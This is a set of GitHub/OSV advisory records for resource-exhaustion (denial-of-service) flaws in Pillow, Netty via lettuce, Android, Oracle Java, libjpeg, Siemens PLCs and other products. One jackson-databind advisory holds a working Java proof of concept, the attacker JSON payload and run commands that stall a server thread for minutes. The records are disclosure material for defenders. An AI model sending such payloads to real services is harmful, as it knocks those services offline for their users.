{
  "affected": [],
  "aliases": [
    "CVE-2021-43933"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-20T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "The affected product is vulnerable to a network-based attack by threat actors sending unimpeded requests to the receiving server, which could cause a denial-of-service condition due to lack of heap memory resources.",
  "id": "GHSA-q4g6-4qpc-738h",
  "modified": "2022-05-01T00:00:38Z",
  "published": "2022-04-21T00:00:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43933"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-109-03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.lettuce:lettuce-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.1.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-02T20:03:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Withdrawn Advisory\nThis advisory has been withdrawn because users of Lettuce may independently exclude vulnerable versions of Netty from their dependencies, and those users should not receive alerts for CVE-2024-47535. This link is maintained to preserve external references.\n\n# Original Description\n\n### Summary\nNote: i\u0027m reporting this in this way purely because it\u0027s private and i don\u0027t want to broadcast vulnerabilities.\n\n\u003e An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attempts to load a file that does not exist. If an attacker creates such a large file, the Netty application crashes. This vulnerability is fixed in 4.1.115.\n\n### Details\nhttps://github.com/redis/lettuce/blob/main/pom.xml#L67C9-L67C53 The netty version pinned here is currently \n```\n\u003cnetty.version\u003e4.1.113.Final\u003c/netty.version\u003e\n```\nThis version is vulnerable according to Snyk and is affecting one of our products:\n![image](https://github.com/user-attachments/assets/a7c78c24-f1e3-4f29-bc49-b252d330002a)\n\nHere is a [link](https://www.cve.org/CVERecord?id=CVE-2024-47535) to the CVE\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\nNot applicable\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nDenial of Service, affecting Windows users. ",
  "id": "GHSA-q4h9-7rxj-7gx2",
  "modified": "2025-01-16T14:36:55Z",
  "published": "2024-12-02T20:03:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redis/lettuce/security/advisories/GHSA-q4h9-7rxj-7gx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47535"
    },
    {
      "type": "WEB",
      "url": "https://github.com/redis/lettuce/issues/3093"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/redis/lettuce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Withdrawn Advisory: Netty vulnerability included in redis lettuce",
  "withdrawn": "2025-01-16T14:36:55Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.2.0"
            },
            {
              "fixed": "9.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-45199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-15T13:24:05Z",
    "nvd_published_at": "2022-11-14T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "Pillow starting with 9.2.0 and prior to 9.3.0 allows denial of service via SAMPLESPERPIXEL. A large value in the SAMPLESPERPIXEL tag could lead to a memory and runtime DOS in TiffImagePlugin.py when setting up the context for image decoding. This issue has been patched in version 9.3.0.",
  "id": "GHSA-q4mp-jvh2-76fj",
  "modified": "2024-10-11T20:42:00Z",
  "published": "2022-11-14T12:00:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/6700"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/2444cddab2f83f28687c7c20871574acbb6dbcf3"
    },
    {
      "type": "WEB",
      "url": "https://bugs.gentoo.org/878769"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-42980.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/9.3.0"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202211-10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow subject to DoS via SAMPLESPERPIXEL tag"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-20426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-754"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-08T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In multiple functions of many files, there is a possible obstruction of the user\u0027s ability to select a phone account due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-236263294",
  "id": "GHSA-q4vj-h3gm-jx5h",
  "modified": "2022-11-09T19:02:24Z",
  "published": "2022-11-09T12:00:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20426"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2022-11-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-22003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T21:16:25Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot).  Supported versions that are affected are Oracle Java SE: 8u481 and  8u481-b50; Oracle GraalVM Enterprise Edition: 21.3.17. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 6.0 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:H).",
  "id": "GHSA-q4wq-4whj-cxhx",
  "modified": "2026-04-21T21:31:24Z",
  "published": "2026-04-21T21:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22003"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.14.0"
            },
            {
              "fixed": "2.18.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.22.0"
            },
            {
              "fixed": "2.22.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T20:19:46Z",
    "nvd_published_at": "2026-09-11T16:17:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`jackson-databind` 3.2.1 deserializes a JSON **string** bound to a `javax.xml.datatype.Duration` or `javax.xml.datatype.XMLGregorianCalendar` field by passing the raw string verbatim to `DatatypeFactory.newDuration(value)` / `newXMLGregorianCalendar(value)`. Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into `java.math.BigInteger` / `BigDecimal` using the native `BigInteger(String)` constructor (an O(n\u00b2) parser). Because the digits reside inside a JSON **string** token, jackson-core\u0027s `StreamReadConstraints.maxNumberLength` guard (which bounds only JSON *number* tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1\u20135 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default `JsonMapper.builder().build()` mapper with no polymorphic typing or special configuration.\n\n### Details\n`StreamReadConstraints.maxNumberLength` (jackson-core, default 1000) bounds the **text length of JSON number tokens** only; it does not apply to digits inside a JSON string token (`maxStringLength` default is 100,000,000). jackson\u0027s own value binders compensate for this gap elsewhere \u2014 `NumberDeserializers` explicitly call `streamReadConstraints().validateIntegerLength(text.length())` / `validateFPLength(text.length())` before parsing a *stringified* number (`NumberDeserializers.java:1063`, `:1139`). The XML-datatype deserializer omits this identical pre-check.\n\n`CoreXMLDeserializers` registers `Std` deserializers **by default** for any field typed `javax.xml.datatype.Duration` or `XMLGregorianCalendar` (`findBeanDeserializer`), with no opt-in required. `Std._deserialize` hands the attacker string straight to the datatype factory:\n\n```java\nprotected Object _deserialize(String value, DeserializationContext ctxt) {\n    switch (_kind) {\n    case TYPE_DURATION:\n        return _dataTypeFactory.newDuration(value);                 // attacker lexical string\n    case TYPE_G_CALENDAR:\n        Date d;\n        try { d = _parseDate(value, ctxt); }\n        catch (DatabindException e) {\n            return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string\n        }\n        return _gregorianFromDate(ctxt, d);\n    }\n    throw new IllegalStateException();\n}\n```\n\nPer the XSD lexical rules, `newDuration` parses each numeric component (years, months, \u2026) into a `BigInteger`, and `newXMLGregorianCalendar` parses fractional seconds into a `BigDecimal`. The JDK uses the native `BigInteger(String)` / `BigDecimal(String)` constructors, which are O(n\u00b2) in the digit count. A short JSON string such as `\"P\" + \"9\"\u00d7N + \"Y\"` therefore forces the allocation and O(N\u00b2) parse of an N-digit `BigInteger`, entirely downstream of every jackson-core constraint.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137`\n  \u2014 `newDuration(value)` (TYPE_DURATION)\n- `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147`\n  \u2014 `newXMLGregorianCalendar(value)` (TYPE_G_CALENDAR fallback)\n- Registration (default, no opt-in):\n  `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46`\n  (`findBeanDeserializer` returns `Std` for `XMLGregorianCalendar` / `Duration`)\n- Contrast \u2014 correct length-guard pattern already used elsewhere in the library:\n  `src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139`\n\n## Proof of Concept\n\nPoC source (`Vuln07_DurationDoS.java`). It uses only the public `ObjectMapper.readValue` API and a default mapper; the only \"special\" element is a normal DTO exposing a `javax.xml.datatype.Duration` field.\n\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport javax.xml.datatype.Duration;\n\n/**\n * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization.\n * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration.\n */\npublic class Vuln07_DurationDoS {\n    public static class Cfg { public Duration ttl; }\n\n    public static void main(String[] args) throws Exception {\n        ObjectMapper mapper = JsonMapper.builder().build();\n        int digits = Integer.getInteger(\"digits\", 5_000_000);\n\n        // Baseline small parse.\n        long t0 = System.nanoTime();\n        mapper.readValue(\"{\\\"ttl\\\":\\\"P1Y\\\"}\", Cfg.class);\n        long tBase = System.nanoTime() - t0;\n        System.out.println(\"Baseline (P1Y) parse: \" + (tBase/1_000_000) + \" ms\");\n\n        String big = \"P\" + \"9\".repeat(digits) + \"Y\";\n        String json = \"{\\\"ttl\\\":\\\"\" + big + \"\\\"}\";\n        System.out.println(\"Payload JSON size ~ \" + json.length() + \" bytes (year component = \" + digits + \" digits)\");\n        long t1 = System.nanoTime();\n        try {\n            Cfg c = mapper.readValue(json, Cfg.class);\n            long dt = System.nanoTime() - t1;\n            System.out.println(\"Parsed giant Duration in \" + (dt/1_000_000) + \" ms; years field type materialized as BigInteger\");\n            System.out.println(\"RESULT: VULNERABLE - \" + digits + \"-digit BigInteger parsed from a \"\n                    + json.length() + \"-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)\");\n        } catch (Throwable t) {\n            long dt = System.nanoTime() - t1;\n            System.out.println(\"After \" + (dt/1_000_000) + \" ms threw \" + t.getClass().getName() + \": \" + t.getMessage());\n        }\n    }\n}\n```\n\nMinimal HTTP-shaped payload (what an attacker sends):\n\n```json\n{ \"ttl\": \"P99999999999999999999\u20269Y\" }   // \u0027P\u0027 + N nines + \u0027Y\u0027, N up to ~100,000,000\n```\n\nAn `XMLGregorianCalendar` field is equally affected via the fractional-seconds path, e.g.\n`{ \"at\": \"0000-01-01T00:00:00.\" + \"9\"\u00d7N }`.\n\n## Execution Steps\n\nThe PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain `javac`/`java` (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache `~/.m2`, but any copy works).\n\n```bash\n# 0. Locate the three dependency jars (published Maven artifacts).\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n#   If not already cached, fetch them once, e.g.:\n#   mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1\n#   (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)\n\n# 1. Compile with javac (single source file).\nmkdir -p out\njavac -cp \"$CP\" -d out src/main/java/com/poc/Vuln07_DurationDoS.java\n\n# 2. Quick confirmation (~11 s): 1,000,000-digit year component.\njava -Xmx2g -Ddigits=1000000 -cp \"out:$CP\" com.poc.Vuln07_DurationDoS\n\n# 3. Full-severity demonstration (~293 s): 5,000,000-digit year component.\njava -Xmx2g -Ddigits=5000000 -cp \"out:$CP\" com.poc.Vuln07_DurationDoS\n```\n\nThe `digits` system property controls the number of `9` characters in the year component; JSON payload size \u2248 digits + 12 bytes. Increase toward the default 100,000,000 `maxStringLength` to scale cost further.\n\nEnvironment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default `JsonMapper.builder().build()`.\n\n## Reproduction Evidence\n\nDeterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:\n\n**digits = 5,000,000 (~5 MB payload):**\n```\nBaseline (P1Y) parse: 27 ms\nPayload JSON size ~ 5000012 bytes (year component = 5000000 digits)\nParsed giant Duration in 293175 ms; years field type materialized as BigInteger\nRESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)\n```\n\n**digits = 1,000,000 (~1 MB payload, for fast repeatability):**\n```\nBaseline (P1Y) parse: 53 ms\nPayload JSON size ~ 1000012 bytes (year component = 1000000 digits)\nParsed giant Duration in 11155 ms; years field type materialized as BigInteger\nRESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)\n```\n\nInterpretation: a normal `\"P1Y\"` value parses in tens of milliseconds; a ~1 MB attacker payload consumes **~11 s** and a ~5 MB payload **~293 s** of single-thread CPU \u2014 a 5\u20136 order-of-magnitude amplification. The super-linear growth (\u224826\u00d7 cost for 5\u00d7 payload) is consistent with the JDK\u0027s O(n\u00b2) `BigInteger(String)` constructor. The cost occurs inside `DatatypeFactory.newDuration`, downstream of jackson-core\u0027s `StreamReadConstraints` (independently confirmed: the same digit sequence supplied as a bare JSON *number* token is rejected with `StreamConstraintsException`, whereas inside a string token it is not bounded).\n\n## Impact\n\nAn unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large `BigInteger`/`BigDecimal` from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server\u0027s worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a `javax.xml.datatype.Duration` or `XMLGregorianCalendar` field  common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations \u2014 and fires under the default mapper with no polymorphic typing.\n\n## Recommended Fix\n\nApply the same validate-length-then-parse idiom the core `NumberDeserializers` already use:\n\n1. In `CoreXMLDeserializers.Std._deserialize`, enforce a maximum raw-string length before\n   calling `newDuration(value)` / `newXMLGregorianCalendar(value)` \u2014 e.g. reject inputs\n   longer than `ctxt.streamReadConstraints().getMaxNumberLength()` (or a dedicated bound),\n   routing over-length input through `ctxt.handleWeirdStringValue(...)`.\n2. Alternatively, validate the lexical form against a bounded regex and cap the digit count\n   of each numeric component before delegating to `DatatypeFactory`.\n3. Document that `Duration` / `XMLGregorianCalendar` fields bound from untrusted input must\n   be length-limited at the transport layer.",
  "id": "GHSA-q4xh-88c3-wmh7",
  "modified": "2026-09-28T20:19:46Z",
  "published": "2026-09-28T20:19:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-q4xh-88c3-wmh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68497"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/pull/6127"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/a99b7e74c8928f43f6975773a8c862c8316178bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS"
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-14152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-15T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "In IJG JPEG (aka libjpeg) before 9d, jpeg_mem_available() in jmemnobs.c in djpeg does not honor the max_memory_to_use setting, possibly causing excessive memory consumption.",
  "id": "GHSA-q4xh-9r6f-9fg6",
  "modified": "2023-02-27T18:33:22Z",
  "published": "2022-05-24T17:20:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14152"
    },
    {
      "type": "WEB",
      "url": "https://bugs.gentoo.org/727908"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/07/msg00033.html"
    },
    {
      "type": "WEB",
      "url": "http://www.ijg.org/files/jpegsrc.v9d.tar.gz"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-18336"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-03-10T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SIMATIC S7-300 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions \u003c V3.X.17), SINUMERIK 840D sl (All versions). Specially crafted packets sent to port 102/tcp (Profinet) could cause the affected device to go into defect mode. A restart is required in order to recover the system. Successful exploitation requires an attacker to have network access to port 102/tcp, with no authentication. No user interation is required. At the time of advisory publication no public exploitation of this security vulnerability was known.",
  "id": "GHSA-q53p-vg4g-3rxp",
  "modified": "2026-06-02T21:30:30Z",
  "published": "2022-05-24T17:10:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18336"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-508982.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-11635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-12T14:15:35Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in Tomofun Furbo 360 up to FB0035_FW_036. This vulnerability affects unknown code of the component File Upload. This manipulation causes resource consumption. Remote exploitation of the attack is possible. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-q568-j5v3-cg84",
  "modified": "2025-10-12T15:30:15Z",
  "published": "2025-10-12T15:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11635"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.328046"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.328046"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.661354"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-3821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A potential security vulnerability has been identified for certain HP multifunction printers (MFPs). The vulnerability may lead to Denial of Service when running HP Workpath solutions on potentially affected products.",
  "id": "GHSA-q57v-m3mv-29f2",
  "modified": "2022-12-14T21:30:17Z",
  "published": "2022-12-12T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3821"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_4980799-4980823-16/hpsbpi03747"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}